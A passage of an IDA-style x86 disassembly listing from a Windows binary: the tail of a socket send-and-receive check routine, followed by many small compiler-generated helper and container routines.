		jnz	loc_4218C2
		push	0
		push	18h
		push	offset dword_444E2C
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4218C2
		push	0
		lea	edx, [esp+20h]
		push	2000h
		push	edx
		push	esi
		call	edi	; recv
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4218C2
		cmp	byte ptr [esp+1Eh], 2
		jnz	short loc_4218C2
		push	10h
		push	offset loc_444E04
		lea	eax, [esp+24h]
		push	edi
		push	eax
		call	sub_401AFF
		add	esp, 10h
		test	al, al
		jz	short loc_421891
		xor	ecx, ecx
		cmp	edi, 12Ch
		setnl	cl
		inc	ecx
		push	esi
		mov	edi, ecx
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421891:				; CODE XREF: ___:0042186Ej
		push	10h
		push	offset dword_444E18
		lea	edx, [esp+24h]
		push	edi
		push	edx
		call	sub_401AFF
		add	esp, 10h
		neg	al
		sbb	eax, eax
		push	esi
		and	eax, 3
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_4218C2:				; CODE XREF: ___:004217DBj
					; ___:004217F6j ...
		push	esi
		nop
		call	near ptr 71AB9639h


loc_4218C9:				; CODE XREF: ___:0042177Ej
					; ___:00421787j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421950:				; CODE XREF: ___:00401A0Fj
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421970	proc near		; CODE XREF: sub_40120Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401311
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010E6
sub_421970	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4219B0	proc near		; CODE XREF: sub_4018E8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401910
sub_4219B0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4219F0	proc near		; CODE XREF: sub_401825j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40197E
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4014E2
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019A6
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401956
sub_4219F0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A60	proc near		; CODE XREF: sub_4014E2j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_40206D
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401EDD
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_421A60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421AA0	proc near		; CODE XREF: sub_40197Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401EDD
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_421AA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421AD0	proc near		; CODE XREF: sub_402185j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40197E
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40190B
sub_421AD0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B10	proc near		; CODE XREF: sub_40170Dj
		push	esi
		mov	esi, ecx
		call	sub_4019FB
		mov	eax, esi
		pop	esi
		retn
sub_421B10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B30	proc near		; CODE XREF: sub_40122Bj
		mov	eax, [ecx]
		push	eax
		call	sub_4010F5
		add	esp, 4
		retn
sub_421B30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B50	proc near		; CODE XREF: sub_40107Dj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40206D
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421B50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B80	proc near		; CODE XREF: sub_401811j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40201D
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421B80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421BB0	proc near		; CODE XREF: sub_4016EAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401212
sub_421BB0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421BF0	proc near		; CODE XREF: sub_401253j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4013F7
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401465
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40100F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_4021DA
sub_421BF0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C60	proc near		; CODE XREF: sub_401465j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D89
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_421C60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421CA0	proc near		; CODE XREF: sub_4013F7j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D89
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_421CA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421CD0	proc near		; CODE XREF: sub_401325j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4013F7
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401BC2
sub_421CD0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D10	proc near		; CODE XREF: sub_401B54j
		push	esi
		mov	esi, ecx
		call	sub_4011A9
		mov	eax, esi
		pop	esi
		retn
sub_421D10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D30	proc near		; CODE XREF: sub_401055j
		mov	eax, [ecx]
		push	eax
		call	sub_40108C
		add	esp, 4
		retn
sub_421D30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D50	proc near		; CODE XREF: sub_401839j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421D50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D80	proc near		; CODE XREF: sub_4012BCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401D5C
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421D80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421DB0	proc near		; CODE XREF: sub_4010E6j

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401EEC
		mov	edi, eax
		push	edi
		call	sub_401B31
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40139D
sub_421DB0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401B31
		push	edi
		mov	[eax], ebx
		call	sub_401B31
		mov	edi, [eax]
		push	edi
		call	sub_401B31
		mov	ecx, [eax]
		push	ecx
		call	sub_4015DC
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401172
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401E5B
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D98
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421E50	proc near		; CODE XREF: sub_40190Bj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4010C8
		mov	edi, eax
		push	edi
		call	sub_401D07
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401910
sub_421E50	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401D07
		push	edi
		mov	[eax], ebx
		call	sub_401D07
		mov	edi, [eax]
		push	edi
		call	sub_401D07
		mov	ecx, [eax]
		push	ecx
		call	sub_40206D
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4010F5
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4017F3
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401EDD
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421EF0	proc near		; CODE XREF: sub_4019A6j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401811
		test	al, al
		jz	short loc_421F4A


loc_421F08:				; CODE XREF: sub_421EF0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4020D6
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401A2D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401811
		test	al, al
		jnz	short loc_421F08
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_421F4A:				; CODE XREF: sub_421EF0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_421EF0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421F80	proc near		; CODE XREF: sub_401910j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	24h
		call	sub_401E0B
sub_421F80	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_421F95
		mov	edi, esi


loc_421F95:				; CODE XREF: ___:00421F91j
		push	esi
		call	sub_40206D
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_421FAA
		mov	edi, esi


loc_421FAA:				; CODE XREF: ___:00421FA6j
		push	esi
		call	sub_401D07
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421FD0	proc near		; CODE XREF: sub_401956j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401550
sub_421FD0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421FF0	proc near		; CODE XREF: sub_40206Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_421FF0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422010	proc near		; CODE XREF: sub_4010F5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_422010	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422030	proc near		; CODE XREF: sub_4019FBj
		mov	eax, ecx
		retn
sub_422030	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422050	proc near		; CODE XREF: sub_401EDDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401523
		mov	eax, esi
		pop	esi
		retn	4
sub_422050	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422080	proc near		; CODE XREF: sub_40201Dj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_422080	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4220B0	proc near		; CODE XREF: sub_401BC2j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4018F7
		mov	edi, eax
		push	edi
		call	sub_4010EB
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401212
sub_4220B0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4010EB
		push	edi
		mov	[eax], ebx
		call	sub_4010EB
		mov	edi, [eax]
		push	edi
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_40108C
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4013E8
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D89
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422150	proc near		; CODE XREF: sub_40100Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jz	short loc_4221AA


loc_422168:				; CODE XREF: sub_422150+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4019BA
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401B90
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jnz	short loc_422168
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4221AA:				; CODE XREF: sub_422150+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_422150	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4221E0	proc near		; CODE XREF: sub_401212j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	20h
		call	sub_4020DB
sub_4221E0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_4221F5
		mov	edi, esi


loc_4221F5:				; CODE XREF: ___:004221F1j
		push	esi
		call	sub_40110E
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_42220A
		mov	edi, esi


loc_42220A:				; CODE XREF: ___:00422206j
		push	esi
		call	sub_4010EB
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422230	proc near		; CODE XREF: sub_4021DAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4018F2
sub_422230	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422250	proc near		; CODE XREF: sub_40110Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_422250	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422270	proc near		; CODE XREF: sub_40108Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_422270	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422290	proc near		; CODE XREF: sub_4011A9j
		mov	eax, ecx
		retn
sub_422290	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4222B0	proc near		; CODE XREF: sub_401D89j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4018FC
		mov	eax, esi
		pop	esi
		retn	4
sub_4222B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4222E0	proc near		; CODE XREF: sub_401D5Cj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4222E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422310	proc near		; CODE XREF: sub_401E5Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401A3C
		add	esp, 8
		retn	8
sub_422310	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422340	proc near		; CODE XREF: sub_401A2Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4020D6
		mov	ecx, eax
		call	sub_4010C8
		mov	esi, eax
		push	esi
		call	sub_40206D
		push	esi
		mov	ebx, eax
		call	sub_401D07
		mov	ecx, [eax]
		push	ecx
		call	sub_40206D
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401D07
		push	esi
		mov	ebx, eax
		call	sub_40206D
		mov	eax, [eax]
		push	eax
		call	sub_401D07
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4010F5
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_40163B
		push	esi
		mov	ecx, edi
		call	sub_401956
sub_422340	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422400	proc near		; CODE XREF: sub_401D07j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_422400	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422420	proc near		; CODE XREF: sub_401E0Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_422420	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422450	proc near		; CODE XREF: sub_401550j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_422450	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422470	proc near		; CODE XREF: sub_4017F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40203B
		add	esp, 8
		retn	8
sub_422470	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224A0	proc near		; CODE XREF: sub_401523j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4224A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224C0	proc near		; CODE XREF: sub_4010C8j
		mov	eax, [ecx]
		retn
sub_4224C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224E0	proc near		; CODE XREF: sub_4020D6j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40107D
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4224E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422510	proc near		; CODE XREF: sub_401B90j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4019BA
		mov	ecx, eax
		call	sub_4018F7
		mov	esi, eax
		push	esi
		call	sub_40110E
		push	esi
		mov	ebx, eax
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4010EB
		push	esi
		mov	ebx, eax
		call	sub_40110E
		mov	eax, [eax]
		push	eax
		call	sub_4010EB
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_40108C
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401E7E
		push	esi
		mov	ecx, edi
		call	sub_4021DA
sub_422510	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
